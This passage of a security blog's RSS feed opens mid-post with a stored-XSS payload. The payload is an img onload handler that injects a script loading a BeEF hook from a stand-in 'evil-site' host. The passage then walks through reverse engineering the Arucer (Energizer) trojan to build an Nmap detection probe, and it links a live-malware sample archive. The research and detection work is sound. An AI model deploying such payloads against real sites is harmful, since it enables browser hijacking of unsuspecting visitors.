<p>Why not create a &lt;script&gt; on the page itself?  What's that you say?  &lt;script&gt; isn't on the whitelist?  So, your point?  If your browser creates the &lt;script&gt; locally, it can't be filtered, now can it?</p>
<p>Thanks to Mak (@mak_kolybabi) for giving me some of the tips I needed to get this going in the correct direction.</p>
<p>How about we try this:</p>
<p>&lt;img onload="var s = document.createElement('script'); s.src='http://evil-site/beef/hook/beefmagic.js.php';document.getElementsByTagName('head')[0].appendChild(s);" src="real_image.jpg" /&gt;</p>
<p>We have a image that triggers the onload element.  Now we tell the browser to create a script element.  You may not be able to write &lt;script&gt;, but you are able to write the word "script."  The createElement function tells the browser to create the &lt;script&gt;&lt;/script&gt;.  It's local to the client and the server has no idea.  :-D</p>
<p>Then we give the source element (what else would you use but <a title="BeEF" href="http://www.bindshell.net" target="_blank">BeEF</a>?) and then we place our new element into the page.  Viola! You've just turned a simple &lt;img&gt; tag into stored XSS....</p>
<p>I have noticed that using onload="local_function()," IE8 and FF3.6 have "issues."  Not sure what it is quite yet.</p>
<p>I spent a few moments looking around to see if I could locate websites that allow you to use HTML tags.  From a cursory perspective, Slashdot is safe, so is Digg, and most forums are now using BB Code.  So, how useful is this?  I'd wager it's probably a last resort. If you chained attacks you could potentially use it.  Suppose you bypassed the front line of defense (<a title="like so" href="http://www.skullsecurity.org/blog/?p=560" target="_blank">like so</a>) in a manner that allowed you to write tags, but ran into some sort of whitelist filtering on the server preventing &lt;script&gt; tags.  Now you have a way to create script tags while evading the filter.</p>
<p>We're not done yet....</p>
<p>Now, you might think that all of this is trivial and not very important.  I mean seriously, who allows users to write tags at all?  Let's look forward for a moment.  HTML5 is coming.  According to this<a title="site" href="http://simon.html5.org/html5-elements" target="_blank"> site</a> (and I have to think that they would know), we find this beautiful bit of information: all event handlers must be supported by all elements, or something like that.  And there are a bunch of new event handlers.</p>
<p>In other words, not only do we have access to onload/onerror in every element, we get lots more....  Stored XSS will be everywhere for years.  All these wannabe web guys who implement the cool new whizbang HTML5 as soon as it ships, will be running huge risks unless they carefully filter out event handlers.  (At least they need to prevent users from implementing event handlers.)  We've seen how well this has worked in the past, so my hopes for reasonably secure implementation are exactly nonexistent.</p>
<p>And if you have a site that you want to allow users to write tags, try switching to BB Code.  It's safer.  Well, in 10 minutes of testing I didn't see how to bypass it as it doesn't support anything.  :-D</p>
<p>Currently, I am developing a page that will test a browser's support of HTML 5 action events.  If you have suggestions or tips, send them my way.  I'm currently muddling through my coding.</p>
<p>Oh and just think about what would happen if someone accidentally on purpose managed to rewrite the &lt;img&gt; element on www.digg.com or www.google.com.  Would anyone ever notice?  How long would it take to find it?  Seriously, looking for a compromise, who'd look at the official logo for the infection?  Enjoy your nightmares people.</p>
<p>Cheers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=590</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Nmap script to generate custom license plates</title>
		<link>http://www.skullsecurity.org/blog/?p=723</link>
		<comments>http://www.skullsecurity.org/blog/?p=723#comments</comments>
		<pubDate>Thu, 01 Apr 2010 13:47:30 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[April Fools]]></category>
		<category><![CDATA[Humour]]></category>
		<category><![CDATA[Nmap]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=723</guid>
		<description><![CDATA[Hey all,
In honour of this special day, I'm releasing an Nmap script I wrote a few months ago as a challenge: http-california-plates.nse. To install it, ensure you're at the latest svn version of Nmap (I fixed a bug in http.lua last night that prevented this from working, so only the svn version as of today [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>In honour of this special day, I'm releasing an Nmap script I wrote a few months ago as a challenge: <a href='/blogdata/http-california-plates.nse'>http-california-plates.nse</a>. To install it, ensure you're at the <strong>latest svn version of Nmap</strong> (I fixed a bug in http.lua last night that prevented this from working, so only the svn version as of today will work), download <a href='/blogdata/http-california-plates.nse'>http-california-plates.nse</a>, and <a href='http://www.skullsecurity.org/blog/?p=459'>install it</a>. </p>
<p>To use it, you run Nmap as usual, against any server and any ports, the http-california-plates script, and a special script argument called 'plate'. 'plate' can be two to seven characters, and the script will validate whether or not it's a valid plate in California, and whether or not it's already being used! </p>
<p>Here is what you can expect to see if a plate isn't available:</p>
<pre>$ nmap -p22 localhost --script=http-california-plates --script-args=plate=abcdef

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-04-01 08:27 CDT
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0011s latency).
PORT   STATE SERVICE
22/tcp open  ssh

Host script results:
|_http-california-plates: Plate is not available!
</pre>
<p>And here's what you see if a plate IS available:</p>
<pre>$ ./nmap --script=http-california-plates --script-args=plate=inscure -p22 localhost

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-04-01 08:31 CDT
[...]

Host script results:
|_http-california-plates: Plate is available!
</pre>
<p>Never again will you have to spend your valuable seconds finding the California DMV's <a href='https://xml.dmv.ca.gov/IppWebV3/welcome.do'>online tool for checking</a>!</p>
<h2>How's it work?</h2>
<p>This script is dead simple -- it just makes three HTTP requests to a site. The first one is a simple GET request to this page:<br />
https://xml.dmv.ca.gov/IppWebV3/initPers.do</p>
<p>This page is simply generates the session cookie, which is saved. The second request is a POST to here (I'm adding the arguments as GET to save space):<br />
https://xml.dmv.ca.gov/IppWebV3/processPers.do?imageSelected=plateMemorial.jpg&#038;vehicleType=AUTO&#038;isVehLeased=no&#038;plateType=R</p>
<p>Finally, the actual license plate it sent:<br />
https://xml.dmv.ca.gov/IppWebV3/processConfigPlate.do?kidsPlate=&#038;plateType=R&#038;plateLength=7&#038;plateChar0=A&#038;plateChar1=B&#038;...</p>
<p>And the response is parsed for success, failure, or error message. </p>
<p>Done! </p>
<p>Happy April Fool's :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=723</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comments should work again!</title>
		<link>http://www.skullsecurity.org/blog/?p=713</link>
		<comments>http://www.skullsecurity.org/blog/?p=713#comments</comments>
		<pubDate>Mon, 29 Mar 2010 02:32:27 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Default]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=713</guid>
		<description><![CDATA[So, I realized that the reCAPTCHA plugin for Wordpress sucks was marking a lot of comments as spam, when it was actually working and not getting timeout errors (thanks to my egress filtering). I decided to toss it out and go with a math-based CAPTCHA for posts, so you should once again be able to [...]]]></description>
			<content:encoded><![CDATA[<p>So, I realized that the reCAPTCHA plugin for Wordpress <s>sucks</s> was marking a lot of comments as spam, when it was actually working and not getting timeout errors (thanks to my egress filtering). I decided to toss it out and go with a math-based CAPTCHA for posts, so you should once again be able to post comments reliably! I'm hoping that by customizing the math CAPTCHA to use different field names/numbers, it should eliminate the same amount of spam that reCAPTCHA did. </p>
<p>Also worth noting: at the moment, registration isn't going to work because I don't have email set up. I'll post an update to that when it's going again. It shouldn't matter, though, registration isn't required to comment. </p>
<p>I also added an infobox on the side (-->) with information about the author of the post, since I've been taking turns with my buddy Matt Gardenghi lately. Now you can see who posted what. </p>
<p>If anything isn't working, or you'd like some feature/widget/whatever that I don't currently have, let me know! </p>
<p>Ron</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=713</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking apart the Energizer trojan - Part 4: writing a probe</title>
		<link>http://www.skullsecurity.org/blog/?p=649</link>
		<comments>http://www.skullsecurity.org/blog/?p=649#comments</comments>
		<pubDate>Thu, 25 Mar 2010 15:04:25 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=649</guid>
		<description><![CDATA[Now that we know what we need to send and receive, and how it's encoded, let's generate the actual packet. Then, once we're sure it's working, we'll convert it into an Nmap probe! In most of this section, I assume you're running Linux, Mac, or some other operating system with a built-in compiler and useful [...]]]></description>
			<content:encoded><![CDATA[<p>Now that we know what we need to send and receive, and how it's encoded, let's generate the actual packet. Then, once we're sure it's working, we'll convert it into an Nmap probe! In most of this section, I assume you're running Linux, Mac, or some other operating system with a built-in compiler and useful tools (gcc, hexdump, etc). If you're on Windows, you'll probably just have to follow along until I generate the probe.</p>
<h2>Sections</h2>
<p>This tutorial was getting far too long for a single page, so I broke it into four sections:</p>
<ul>
<li><a href='/blog/?p=627'>Part 1: setup</a></li>
<li><a href='/blog/?p=645'>Part 2: runtime analysis</a> (windbg)</li>
<li><a href='/blog/?p=647'>Part 3: disassembling</a> (ida)</li>
<li><strong><a href='/blog/?p=649'>Part 4: generating probes</a> (nmap)</strong></li>
</ul>
<h2>Generating probes</h2>
<p>Recall that packets are encoded by XORing each byte with 0xE5, and decoded the same way. That's great for us -- a simple program can encode and decode packets. Let's write it!</p>
<p>I chose to write this in C because it's one of my favourite languages and the code needed to XOR every byte is trivial:<br />
<font face="monospace"><br />
<font color="#a020f0">#include </font><font color="#ff00ff">&lt;stdio.h&gt;</font></p>
<p><font color="#2e8b57"><b>int</b></font>&nbsp;main(<font color="#2e8b57"><b>int</b></font>&nbsp;argc, <font color="#2e8b57"><b>char</b></font>&nbsp;*argv[])<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#2e8b57"><b>int</b></font>&nbsp;c;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#a52a2a"><b>while</b></font>((c = getchar()) != <font color="#ff00ff">EOF</font>)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(<font color="#ff00ff">&quot;</font><font color="#6a5acd">%c</font><font color="#ff00ff">&quot;</font>, c ^ <font color="#ff00ff">0xE5</font>);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#a52a2a"><b>return</b></font>&nbsp;<font color="#ff00ff">0</font>;<br />
}</p>
<p></font></p>
<p>That'll read characters from standard in, XOR them with 0xE5, then write them to standard out. Now we can compile it and run some test data through it (I called it the clever name, 'test'):</p>
<pre>ron@ankh:~$ vim test.c
ron@ankh:~$ gcc -o test test.c
ron@ankh:~$ echo "this is a test" | ./test | hexdump -C
00000000  91 8d 8c 96 c5 8c 96 c5  84 c5 91 80 96 91 ef     |....Å..Å.Å....ï|
0000000f
ron@ankh:~$ </pre>
<p>That looks just about right! But if you count the characters, you'll see that we have one extra one: 0xEF. 0xEF is an encoded newline -- oops! We don't want newlines, but we DO want to null terminate the string. Running the echo with -n (no newline), -e (use character escapes), and adding \x00 to the end will take care of that:</p>
<pre>ron@ankh:~$ echo -ne "this is a test\x00" | ./test | hexdump -C
00000000  91 8d 8c 96 c5 8c 96 c5  84 c5 91 80 96 91 e5     |....Å..Å.Å....å|
0000000f
ron@ankh:~$ </pre>
<p>There we go! Now we need make a proper probe out of our string. Recall the string we found earlier:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-52-string.png'></p>
<p>As we know, it's 0x27 bytes long including the null terminator (that's what was passed to strcmpi()). So, we echo the string, with the 4-byte length in front and the 1-byte terminator at the end:</p>
<pre>echo -ne "\x27\x00\x00\x00{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}\x00"</pre>
<p>In theory, that packet should provoke a response from the Trojan. Let's try it out:</p>
<pre>$ echo -ne "\x27\x00\x00\x00{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}\x00" |
  ./test | # encode it
  ncat 192.168.1.123 7777 | # send it
  ./test # decode the response
(response)
YES
</pre>
<p>Success! The Trojan talked to us, and it said "YES". Now all we have to do is create an Nmap probe!</p>
<p>Note that I am using an Nmap probe here rather than a script. Scripts are great if you need something with some intelligence or that can interact with the service, but in reality we're just sending a static request and getting a static response back. If somebody wants to take this a step further and write an Nmap script that interacts with this Trojan and gets some useful data from the system, that'd be good too -- it always feels better to the user when they see evidence that something's working.</p>
<p>Anyways, the first step to writing an Nmap probe is to find the nmap-service-probes file. It'll likely be in /usr/share/nmap or /usr/local/share/nmap or c:\program files\nmap. Where ever it is, open it up and scroll to the bottom. Add this probe (if it isn't already there):</p>
<pre>##############################NEXT PROBE##############################
# Arucer backdoor
# http://www.kb.cert.org/vuls/id/154421
# The probe is the UUID for the 'YES' command, which is basically a ping command, encoded
# by XORing with 0xE5 (the original string is "E2AC5089-3820-43fe-8A4D-A7028FAD8C28"). The
# response is the string 'YES', encoded the same way.
Probe TCP Arucer q|\xC2\xE5\xE5\xE5\x9E\xA0\xD7\xA4\xA6\xD0\xD5\xDD\xDC\xC8\xD6\xDD\xD7\xD5\xC8\xD1\xD6\x83\x80\xC8\xDD\xA4\xD1\xA1\xC8\xA4\xD2\xD5\xD7\xDD\xA3\xA4\xA1\xDD\xA6\xD7\xDD\x98\xE5|
rarity 8
ports 7777

match arucer m|^\xbc\xa0\xb6$| p/Arucer backdoor/ o/Windows/ i/**BACKDOOR**/
</pre>
<p>So basically, we're sending a probe equal to the packet we just sent on port 7777. If it comes back with the encoded 'YES', then we mark it as 'Infected'. Go ahead, give it a try:</p>
<pre>$ nmap -sV -p7777 192.168.1.123

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-22 21:42 CDT
Nmap scan report for 192.168.1.123
Host is up (0.00020s latency).
PORT     STATE SERVICE VERSION
7777/tcp open  arucer  Arucer backdoor (**BACKDOOR**)
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.61 seconds
</pre>
<p>It successfully detected the Arucer backdoor! Woohoo!</p>
<h2>Conclusion</h2>
<p>So, to wrap up, here's what we did:</p>
<ul>
<li>Execute the Trojan in a contained environment</li>
<li>Attach a debugger to the Trojan and learn how recv() is called</li>
<li>Get the callstack from the recv() call</li>
<li>Disassemble the Trojan to learn how it works</li>
<li>Find the addresses we saw on the callstack</li>
<li>Determine how the simple crypto works (XOR with 0xE5)</li>
<li>Determine what we need to XOR with 0xE5 ("{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}")</li>
<li>Determine what we can expect to receive ("YES" XORed with 0xE5)</li>
<li>Write an Nmap probe to make it happen</li>
</ul>
<p>Keep in mind that most malicious software isn't quite this easy. Normally there's some kind of protection against debugging, reverse engineering, virtualizing, etc. Don't think that after reading this tutorial, you can grab yourself a sample of Conficker and go to town on it. If you do, you're in for a lot of pain. :)</p>
<p>Anyway, I hope you learned something! Feel free to email me (my address is on the right), twitter me <a href='http://www.twitter.com/iagox86'>@iagox86</a>, or leave a comment right here.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=649</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Taking apart the Energizer trojan - Part 3: disassembling</title>
		<link>http://www.skullsecurity.org/blog/?p=647</link>
		<comments>http://www.skullsecurity.org/blog/?p=647#comments</comments>
		<pubDate>Thu, 25 Mar 2010 14:45:44 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=647</guid>
		<description><![CDATA[In Part 2: runtime analysis, we discovered some important addresses in the Energizer Trojan -- specifically, the addresses that make the call to recv() data. Be sure to read that section before reading this one. 
Now that we have some starting addresses, we can move on to a disassembler and look at what the code's [...]]]></description>
			<content:encoded><![CDATA[<p>In <a href='/blog/?p=645'>Part 2: runtime analysis</a>, we discovered some important addresses in the Energizer Trojan -- specifically, the addresses that make the call to recv() data. Be sure to read that section before reading this one. </p>
<p>Now that we have some starting addresses, we can move on to a disassembler and look at what the code's actually doing. Fortunately, the author made no attempt to disguise the code or pack or or anything like that, so a simple disassembler is all we need to examine the code.</p>
<p>A word of warning: this is the longest, most complicated section. But stick with it, by the end we'll know exactly how the Trojan ticks! </p>
<h2>Sections</h2>
<p>This tutorial was getting far too long for a single page, so I broke it into four sections:</p>
<ul>
<li><a href='/blog/?p=627'>Part 1: setup</a></li>
<li><a href='/blog/?p=645'>Part 2: runtime analysis</a> (windbg)</li>
<li><strong><a href='/blog/?p=647'>Part 3: disassembling</a> (ida)</strong></li>
<li><a href='/blog/?p=649'>Part 4: generating probes</a> (nmap)</li>
</ul>
<h2>Disassembly -- from the top</h2>
<p>If you haven't already, install <a href='http://www.hex-rays.com/idapro/idadownfreeware.htm'>IDA</a> somewhere. This part is safe and doesn't have to be on your sacrificial system, but you probably won't be able to do this on any system with antivirus installed. Any antivirus program will delete the Trojan before you have a chance to disassemble it. </p>
<p>First off, fire up IDA and load the arucer.dll file (I included it in the same archive as the installer; get it <a href='http://downloads.skullsecurity.org/MALWARE/EnergizerTrojan-MALWARE.zip'>here</a> (password is "infected", as always be careful when handling live malware); alternatively, navigate to c:\Windows\System32 on the infected machine and grab it).</p>
<p><img src='http://www.skullsecurity.org/blogdata/usbcharger-15-dll.png'></p>
<p>When IDA comes up, it'll ask you what you want to do. Hit "New":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-16-new.png'></p>
<p>When prompted, hit "PE Executable" and then "OK" -- in theory, you can probably pick something more appropriate but it auto-detects anyways.<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-17-pe.png'></p>
<p>Then, navigate to the path where you extracted Arucer.dll and choose it (you may need to change the "Files of type" dropdown to "all files":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-19-arucer.dll.png'></p>
<p>After selecting it, you'll be prompted with a bunch of questions. Like installing software, just keep hitting 'next' until it stops asking you questions. Eventually, it'll be loaded up and you'll be presented with a screen full of assembly. Feel free to customize it how you like; I generally turn off the main menu bar and maximize the sub-windows.</p>
<p>The first thing I like to do when looking at malware, and it's because I was bitten by this once on a contest, is hit the "Exports" tab and see what it can do:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-20-exports.png'></p>
<p>On the Trojan, we can see there are two exports -- "DllEntryPoint", which every .dll file has, and "Arucer". If you follow DllEntryPoint, you won't get anywhere. It sets some variables, that's about it. But if you double-click on Arucer, we can see where the actual Trojan does its work:</p>
<p><img src='http://www.skullsecurity.org/blogdata/usbcharger-21-export.png'></p>
<p>The first thing we see here is a call to CreateMutexA() with the name "liuhong-061220". Liu Hong, eh? The author, perhaps? Why would somebody writing an actual Trojan put his name in it? That brings back the question of whether this was intended to be a Trojan at all, or just a misguided feature?</p>
<p>After the mutex is created, a call to CreateThread() is made. If you double-click on StartAddress (the address that's called when the thread starts):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-22-startaddress.png'></p>
<p>You'll see a simple loop:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-23-startaddress2.png'></p>
<p>The code calls sub_10001D80 then jumps back to the line that calls sub_10001D80. This is an infinite loop. So double-click on sub_10001D80 and look around. You'll see that, among other things, a call is made to listen():<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-24-listen.png'></p>
<p>That tells us that we're definitely on the right track! If you keep going, you'll eventually make it to the same recv() function that we already found using the debugger.</p>
<p>At this point, feel free to look around a little bit, see if you can understand a little about what's going on. The biggest key is the system functions being called (like accept(), listen(), recv(), etc) -- they tell you what's going on more than anything else.</p>
<h2>Disassembly -- from the bottom</h2>
<p>In the last section, we followed the code execution from the beginning of the program to the listen() and accept() calls, which lead to the recv() and send(). That's one way to skin this <s>cat</s>carrot, but, since we already learned some useful addresses from the debugger, let's start at one of them: 0x100011aa. </p>
<p>Throughout this section, feel free to explore. I'm posting screenshots and addresses for everything I talk about, so you can always hit "g" (for "go") and catch up. You can also press "escape" at any time to jump back to the last place you were. </p>
<p>0x100011aa is one of the addresses we found while debugging; it's the address that called recv(). In IDA, hit "g" and type it in. You'll find yourself in the middle of a function, right after a call to recv(). Scroll up and find the top of the function (sub_10001180), which will look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-25-sub_10001180.png'></p>
<p>The first thing to note is that this function takes three arguments. The second and third were discovered by IDA to be 'buf' and 'len', which refer to the buffer and length being passed to the recv() call -- the only recv() arguments we're missing are the socket and the flags. </p>
<p>We're going to try and figure out what the first argument is. if you click on "arg_0" in the list of local variables, you'll see that three lines into the function it's moved to 'ebx'. If you click on 'ebx', you'll see that, a little later, the value it points to is moved to eax:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-26-sub_10001180-ebx.png'></p>
<p>If you click on 'eax', you'll see that it's pushed last (and, therefore, is the first argument) to recv(), and, as the automatically generated comment tells you, that's the 's' (socket) parameter:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-27-sub_10001180-eax.png'></p>
<p>So now that we know what's going on, we can name the variables properly. Go to the top of sub_10001180 again, click on the name, and press "y" to define the function. Change the first argument to "int *socket":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-28-sub_10001180-socket.png'></p>
<p>If you scroll around the function, you'll see that all it really does is recv() some data into the buffer. Therefore, it's a wrapper around recv(). Click on the function name again ("sub_10001180") and press "n" to change the name. Type in something you'll remember; I'll be using "recv_wrapper":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-29-sub_10001180-renamed.png'></p>
<p>One trick here is that this function does a little more than recv(). If you scroll a little past the recv() call to loc_100011D2, you'll see a little loop:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-30-recv_xor.png'></p>
<p>This loop moves a byte from 'esi' to the 'bl' register, XORs the byte with 0xE5, then puts the byte back into 'esi'. Then it decrements ecx and loops as long as ecx is non-zero. Even without knowing what the different registers are doing here, it's pretty obvious what's going on -- every byte in the string is being XORed with 0xE5. That's a weak encoding, but it's definitely enough to keep out prying eyes.</p>
<p>Scrolling down a bit further, you'll find the end of the recv_wrapper() function. Because this function is called from a lot of different places (scroll up and click on the recv_wrapper declaration and press ctrl-x to find out where), the easiest way of finding the caller is to go back to our stacktrace from the debugger; in that stacktrace, the next address was 0x10001624.</p>
<p>Naturally, the first thing you'll see at 0x10001624 is, on the previous line, the call to recv_wrapper(). But looking above it, we only see one argument -- the socket -- being passed to it:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-31-recv_call.png'></p>
<p>To find the other arguments, you'll have to scroll way up to 0x10001575. There you'll see the length (4) and the buffer (eax), which points at a local variable called, at the moment, "len":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-32-recv_call_args.png'></p>
<p>So now we know that exactly 4 bytes are being received. Thinking back to my Battle.net days, that sounds like a packet header -- typically, the header will contain the length of the packet, then that many more bytes are received.</p>
<p>Now, if you scroll down a little more past the recv_wrapper() call, to line 0x10001659, you'll find a second recv_wrapper() -- we can guess that it's probably downloading the rest of the packet. The length being passed is 'eax' which, as you can see on line 0x10001639, is set to the buffer from the previous call to recv_wrapper():<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-33-recv_call_2.png'></p>
<p>That's good -- we expected the first recv_wrapper() call to return the length. The 'buf' argument is also set to the same buffer as the previous call, which was called "len":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-34-recv_call_2_buffer.png'></p>
<p>Now that we know it isn't specifically used for the length, since both recv_wrapper() calls use it as a buffer. To avoid confusion, we should rename it. Click on "len" and press "n" for "name", and type "buffer" or "buf":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-35-recv_call_2_buffer_rename.png'></p>
<p>All right, so now we've received a header and a body. But what happens to the body? Let's have a look:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-36-memicmp.png'></p>
<p>To explain the flow a little: shortly after the call to recv_wrapper(), a call is made to memicmp(). The arguments passed to memicmp() are:</p>
<ul>
<li>'eax', which is the buffer from the recv_wrapper() call -- in other words, the data that was just received (not including the length)</li>
<li>'edx', which is a local variable, var_828 -- we'll look more into var_828 shortly
<li>0x27, or 39, for the length -- keep this value in mind, we're going to need it
</ul>
<p>As for the var_828, click on it and scroll wayyyy up till you see where it's set, right at the top of this function:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-37-var828.png'></p>
<p>'esi' (the source register) is set to a static string that just happens to be 38 characters long -- 39 including the string terminator. The same length that was passed to memicmp() -- the important part to remember here is that the string terminator is included in the comparison. That's important. Also, keep this string in mind -- we're going to need it while writing our probe. </p>
<p>'edi' (the destination register) is set to var_828. Then 'rep movsd' is executed. 'rep movsd' basically moves data from 'esi' (source) to 'edi' (destination), 'ecx' times. In short, it copies that big long string into var_828.</p>
<p>Jumping back down to the memicmp() (0x10001697), the next instruction is a jump-if-not-zero. Since memicmp() returns 0 when strings match, it'll fall through if the data matches our long string:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-38-cmpjmp.png'></p>
<p>I realize that's a lot to take in, but we're almost done. Let's summarize what we've seen so far:</p>
<ul>
<li>A 4-byte header -- the length -- is recv()'ed from the client</li>
<li>The rest of the message, as defined by the length, is recv()'ed from the client</li>
<li>The received bytes are XORed with 0xE5</li>
<li>The bytes are compared to a 38-character string, "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"</li>
<li>If it matches, ...well, let's talk about that. </li>
</ul>
<p>If you scroll a little bit past the memicmp() call, you'll see a call to sub_100011F0 (at 0x100016C6). The only thing left after that call is a return, so that call has to be important:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-39-sub_100011F0.png'></p>
<p>This function has three arguments: 'esi', 'eax', and "3". 'esi', if you scroll up far enough, is the socket. So what are the other two?</p>
<p>If you look up a few lines to 0x100016AC, you'll see that eax is set to the buffer where the received data was going. After a few more lines, the 'cx' register, which is set to a value at word_1000405C, is put into 'buffer' ('cx' is a 2-byte register):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-40-cx.png'></p>
<p>Likewise, the third byte in "buffer" is set to 'dl', which is set to byte_1000405E a few lines above ('dl' is a 1-byte register):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-41-dl.png'></p>
<p>So the first three bytes in the buffer are set from static memory addresses, via the 2-byte register 'cx' and the 1-byte register 'dl'. Now we need to determine what values these two registers had been set to. </p>
<p>To figure out what the values of 'cx' and 'dl' are, double-click on one of them. You'll be brought to 0x1000405C, which should look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-42-cx-value2.png'></p>
<p>If you've looked at enough hex, you'll immediately recognize these three values on ascii. Click on each of them, then select Edit-&gt;Operand type-&gt;Character (or just press "R"):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-43-cx-value3.png'></p>
<p>You'll see that these three bytes are actually, 'EY' and 'S', which, because of little endian, is actually 'YE' and 'S' -- 'YES'!<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-44-cx-value4.png'></p>
<p>Hit "esc" to go back (or press "g" and type 0x1000169F) and, if you'd like, add comments saying what the values are (use ";" or shift-";" to add comments):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-45-values.png'></p>
<p>So, three bytes, "YES", are placed in "buffer" and passed to a function, along with the socket and the number "3" -- the length. It's pretty safe to assume that this function is the send_wrapper(). Double click on it to find out!</p>
<p>Near the top of the send_wrapper() function (sub_100011F0), you'll see another little loop:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-47-xor.png'><br />
The array is being XORed with 0xE5. Next, we'll see what we're looking for:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-48-send.png'></p>
<p>send()! Now we know -- if we send a 4-byte length followed by the 38-byte string ("{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}") and a null terminator, encoded by XORing it with 0xE5, we should receive a 3-byte response ("YES"), also encoded by XORing with 0xE5.</p>
<p>So, in this section we followed the flow of data from the recv() function, which we found with a debugger, to the send() function. We were fortunate that the first type we found was a simple ping -- I send it data, and it replies with "YES". It's safe, doesn't change the state, has a static request, and a static response. Perfect!</p>
<p>In <a href='/blog/?p=649'>Part 4: generating probes</a>, the final section, we'll actually put the pen to paper (err, characters to harddrive? code to monitor?) and write a probe that implements this ping request. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=647</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking apart the Energizer trojan - Part 2: runtime analysis</title>
		<link>http://www.skullsecurity.org/blog/?p=645</link>
		<comments>http://www.skullsecurity.org/blog/?p=645#comments</comments>
		<pubDate>Thu, 25 Mar 2010 14:17:58 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=645</guid>
		<description><![CDATA[In Part 1: setup, we infected the system with the Trojan. It should still be running on the victim machine. If you haven't read that section, I strongly recommend you go back and read it. 
Now that we've infected a test machine, the goal of this step is to experiment a little with the debugger [...]]]></description>
			<content:encoded><![CDATA[<p>In <a href='/blog/?p=627'>Part 1: setup</a>, we infected the system with the Trojan. It should still be running on the victim machine. If you haven't read that section, I strongly recommend you go back and read it. </p>
<p>Now that we've infected a test machine, the goal of this step is to experiment a little with the debugger and learn a little about the Energizer Trojan. This can all be discovered with a simple disassembler, but I find it more fun to take apart a live sample. All we're going to do is add a breakpoint at the recv() function and see where it's called from.</p>
<p>This step is going to require <a href='http://www.microsoft.com/whdc/devtools/debugging/installx86.Mspx'>Debugging Tools for Windows</a>. If you haven't installed it already, install it on the victim machine. </p>
<h2>Sections</h2>
